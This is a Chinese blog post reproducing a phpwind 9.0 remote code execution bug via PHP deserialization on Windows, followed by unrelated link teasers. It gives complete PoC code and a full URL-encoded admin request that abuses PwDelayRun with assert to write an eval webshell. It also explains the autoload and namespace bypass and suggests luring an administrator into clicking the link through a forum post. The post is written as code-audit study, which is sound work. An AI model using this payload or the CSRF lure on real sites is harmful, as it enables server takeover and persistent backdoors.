%3c php 能用什么代替,Phpwind9
漏洞复现
复现环境Windows10
php5.6
phpwind9.0
漏洞要求系统为windows
需要有访问后台任务中心权限
复现过程step1 生成反序列化poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30header("Content-Type: text/plain");
require_once "test2.php";
class{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>');"]
];
}
}
$obj = new stdClass();
$obj->a = new srclibraryutilityPwDelayRun();
$obj->b = new PwDelayRun();
echo serialize($obj);
echo "n";
echo urlencode(serialize($obj));
?>
namespace srclibraryutility;
class PwDelayRun{
}
?>
step2 使用admin账户登陆,然后请求http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22phpinfo%28%29%3Bfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+eval%28%24_REQUEST%5B233%5D%29%3B+%3F%3E%27%29%3Bexit%3B%22%3B%7D%7D%7D%7D
代码成功执行
shell成功写入
漏洞分析
全局搜索找到反序列化位置
漏洞位置一共三处:1
2
3/src/applications/admin/TaskConditionBbsController.php
/src/applications/admin/TaskConditionMemberController.php
/src/applications/admin/TaskRewardController.php
这里使用/src/applications/admin/TaskConditionMemberController.php
$var = unserialize($this->getInput('var'));
,从Input中获取var参数的值,进行反序列化。 这个Input可以来自get/post/cookie。只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。
全局搜索_destruct
可以找到一个PwDelayRun类,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。在/src/applications/admin/TaskConditionMemberController.php中,输入可以控制PwDelayRun类的序列化字符串,但是在执行反序列话之前必须定义了PwDelayRun类(也就是在此之前要包含过PwDelayRun所在的文档)
在TaskConditionMemberController::beforeAction::unserialize处下端点,并在之前输出当前所定义的所有类
访问连接http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=
可以看到在此之前没有定义过PwDelayRun类,那么即使反序列化也不会调用相关方法
spl_autoload包含任意php文档
为了包含PwDelayRun类,作者提到了使用spl_autoloa方法,就是说如果要使用的类不存在,会调用框架自己注册的autoload方法加载类。在phpwind9中,实现了autoload方法,并注册了
但是这里className没有路径,PwDelayRun类在src/library/utility/PwDelayRun.php文档中,需要传入路径才可以包含到这个类。 虽然类名不能包含特殊字符,但类名中是可以包含的,这是php中空间命名。命名空间中可以包含,而在windows下,也可以作为路径的分隔符,因此可以在payload中使用命名空间生成序列化字符串,在phpwind9中找不到类的时候,就会使用include包含。而包含时只能在windows上使用,所以只限于windows系统。
但是,这里将类名设置为srclibraryutilityPwDelayRun,而 整个phpwind全局是没有使用命名空间的,也就是默认命名空间为,但现在的PwDelayRun类所在的命名空间为srclibraryutility。 这样,即使我包含了srclibraryutilityPwDelayRun.php文档,反序列化的时候是实例化的srclibraryutilityPwDelayRun类。但phpwind的命名空间是,上下文存在的类是PwDelayRun类,还是无法正常进行(得到的是一个不完整的类__php_incomplete_class,这是因为php反序列化一个对象,PHP无法找到原始类,所以PHP不知道,这个类是怎么样的):
只要生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象
利用数组+命名空间加载相同名字的类
生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象。但是有个数组判断,
这里如果反序列化后是个数组,就会保存到output中,导致变量不会在beforeAction结束时销毁,而是在脚本束时销毁。如果在结束时销毁,由于没有了上下文,poc中写文档那一步是写不进去的,除非文档路径给绝对给绝对路径,自己可以测试下。作者在分析中给了一个方法,就是用其他对象来替代数组,比如stdClass,
所以最后得到如下poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<?php
// test1.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>')"]
];
}
}
$obj = new stdClass();
$obj->a = new srclibraryutilityPwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
?>
//test2.php
namespace srclibraryutility;
class PwDelayRun{
}
?>
csrf
由于上面的代码执行链接是get请求,不需要post中的csrftoken或其他验证,所以可以写个帖子,插入恶意链接,等待管理员点击。但是帖子中把&编码了,导致请求不正常,不过可以增加一步跳转
总结
这个漏洞很犀利和巧妙,所以自己跟踪与学习了下,加强自己的代码审计与分析能力,还有学到一些新技能:可以调用get_declared_classes查看当前执行所加载的所有自定义类
反序列化时,如果反序列化点之前没有加载过要反序列化的类,spl_autoload可能会很有帮助,查看框架是否使用了autoload
反序列化时,可以使用一种对象替代另一种对象绕过某些判断(比如用stdClass替代array)
-------------本文结束感谢您的阅读-------------
%3c php 能用什么代替,Phpwind9相关推荐
- html %3c% page,page.html
KIT ADMIN KIT ADMIN K 控制台 商品管理 捐赠我 其它系统 邮件管理 消息管理 授权管理 Van 基本资料 安全设置 注销 基本元素 表格 表单 导航栏 列表四 百 ...
- php %3c%3c%3c 解析常量,PHP基础知识小结1
1.变量与常量的区别与创建,访问方式 变量与常量的区别 变量是临时存储数据的容器,是实现数据服用的手段.变量分为全局变量,私有变量,和超全局变量,除超全局变量外,其他变量受作用域限制.变量必须以$作为 ...
- h30-t10 android phone,荣耀(荣耀)3C H30-T10/2GB RAM/移动3G手机系统介绍评测-ZOL中关村在线...
笔者本身就是华为手机的用户,因此对Emotion UI的感觉还是不错的.此次,华为荣耀3C搭载了全新的Emotion UI 2.0,相比之前版本修改了不少图标和主题的设计,我们一起来看看. 之前推出的 ...
- .NET的3C:CTS、CLS和CLR 以及 IL
.NET的3C:CTS.CLS和CLR .NET结合Java和COM解决方案两者优点来解决互操作性问题.类似于COM定义的标准二进制格式,.NET定义了一个称为通用类型系统Common Type S ...
- mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)
2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...
- 进军“手机照相馆”:京东要和3C厂商干什么?
4月19日,国内知名手机品牌努比亚在北京发布Z11 mini机型,但就在该发布会举行期间的时候,京东却在现场边开设了一个名为"手机照相馆"为主题的拍照店.根据现场了解的讯息得知,京 ...
- %3cphp和%3c php_关于 PHP 表单安全性
PHP 表单安全性 $_SERVER["PHP_SELF"] 变量能够被黑客利用! 如果页面使用了 PHP_SELF,用户能够输入下划线然后执行跨站点脚本(XSS). 假设我们的一 ...
- php %3c php 攻击,web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- 东南亚Lazada平台3C数码市场概括,手机配件消费电子选品推荐
eMarketer数据显示,2022年,东南亚的电商销售总额将达到896.7亿美元,比去年增加153.1亿美元.eMarketer称,鉴于其他地区增长放缓,东南亚地区电商增长将更加突出,2022年东南 ...
最新文章
- sql 字符串比较大小_SQL简单查询
- linux命令:case选择结构语句
- 模拟用户登陆Web应用
- java快速教程_Java快速入门
- oracle中变量前加冒号_ORACLE 变量的定义和使用
- Java笔记-Spring Boot生成MD5摘要
- 使用jxl来读取Excel中的数据
- C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 服务器之间的接口通讯功、信息交换...
- 基本算法——前缀和与差分
- IE8不能上传、插入图片的解决办法!
- 计算机主机英语怎么说,电脑的英文-电脑的主机这个词英语怎么说?电脑的主 – 手机爱问...
- 下载mono太慢怎么办?
- windows批量ping测试脚本
- 每日一学18——凉鞋的简易有限状态机
- Ubuntu禁用触摸板
- android 路由器 操作系统,小米全新路由器操作系统是什么?支持什么语言?
- 情态动词+have+done用法整理
- SonrLint常见解决方案
- java数据类型有哪几种_Java数据类型有哪些?Java数据类型包括几种?
- 我在3G门户工作学到的9句话
热门文章
- synchronized和Lock的异同
- vs code 简易使用教程(前端)
- 一些dalao的模板
- python编程学习笔记(三)
- python饿了么商家开放平台模拟网页http请求实战
- PymongoDB报错MongoError: The dotted field .. is not valid for storage
- python对excel数据统计_用 python实现简单EXCEL数据统计
- APP微信支付报错《商户号该产品权限未开通,请前往商户平台产品中心检查后重试》
- 计算机速成课 第三十七集 机器人
- Mathlab编程-微积分在Matlab中的解法